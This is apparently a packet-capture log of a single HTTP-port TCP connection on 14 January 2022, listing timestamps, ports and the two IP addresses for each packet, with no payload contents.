Jan 14, 2022 09:26:01.745568037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.745640039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.745922089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.745979071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746083975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746260881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746275902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746400118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746501923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746578932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746726990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746891022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.746908903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747030020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747116089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747303963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747318983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747487068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747525930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747704983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747725010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747910976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.747982025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748027086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748159885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748286963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748516083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748708010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748724937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748881102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.748966932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749183893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749200106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749351025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749433041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749654055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749670029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749819040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.749955893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750114918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750132084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750278950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750359058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750574112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750590086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750819921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.750888109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.751069069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.751224041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.751391888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.751562119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.751569986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.780323982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.780631065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.780831099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781008959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781166077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781295061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781466961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781645060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781761885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781857967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.781995058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782083988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782249928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782336950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782490969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782636881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782780886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782964945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.782975912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783099890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783260107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783332109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783483982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783667088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783678055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783807039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.783973932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784056902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784212112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784369946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784444094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784584999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784739971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.784812927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785002947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785074949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785156965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785331964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785346031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785458088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785598993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785687923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785752058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.785902977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786010027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786109924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786217928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786387920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786398888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786573887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786586046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786737919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786751032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.786935091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787096024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787106991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787188053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787691116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787707090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787847996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.787861109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788037062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788045883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788204908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788216114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788378954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788393021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788547039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788557053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788717031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788727999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788883924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.788894892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789057016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789067984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789228916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789239883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789398909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789411068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789567947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789578915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789738894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789750099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789942980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.789956093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790121078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790132046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790302038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790313959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790487051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790498018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790663958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790674925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790846109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.790855885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791037083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791048050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791234016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791241884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791416883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791424990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791598082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791604996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791785002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.791793108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.798043966 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.798072100 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.798091888 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.798114061 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.798491955 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.798582077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.806957006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.807259083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.807382107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.807553053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.807666063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.807805061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.807954073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808092117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808216095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808346033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808353901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808466911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808614969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808685064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808811903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.808900118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809045076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809202909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809273005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809415102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809510946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809684992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809694052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809818029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.809900999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810058117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810157061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810323000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810332060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810455084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810612917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810683012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810887098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.810897112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811016083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811182022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811250925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811389923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811588049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811597109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811753988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.811883926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812015057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812165022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812244892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812448025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812454939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812647104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812653065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812844992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.812853098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813019991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813026905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813204050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813211918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813376904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813396931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813570023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813574076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813760996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813771009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.813962936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833008051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833210945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833218098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833383083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833389044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833554983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833561897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833726883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833733082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.833892107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834008932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834017038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834424973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834593058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834599972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834789038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834795952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834964991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.834973097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835150003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835156918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835328102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835335016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835516930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835522890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835691929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835699081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835879087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.835886955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836056948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836064100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836239100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836245060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836415052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836421967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836601973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836607933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836777925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836787939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836971998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.836981058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.837141991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.837147951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.840042114 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.840075970 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.845732927 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.845794916 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.845843077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.845917940 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.849924088 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.849963903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.850332022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.850414038 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.850440979 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.851191044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.851346970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.851497889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.851679087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.851723909 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.851824999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852024078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852113008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852197886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852291107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852384090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852462053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852673054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852756023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.852951050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853001118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853128910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853138924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853245020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853389025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853471041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853600979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853710890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853977919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.853991985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854150057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854157925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854346991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854368925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854527950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854537964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854674101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854794979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854803085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854990005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.854999065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855159044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855166912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855350971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855359077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855539083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855545998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855709076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855716944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855887890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.855896950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856076002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856084108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856256008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856266022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856448889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856457949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856529951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856777906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856940985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.856951952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857125998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857134104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857281923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857289076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.857481003 CET	49891	80	192.168.2.4	185.215.113.35
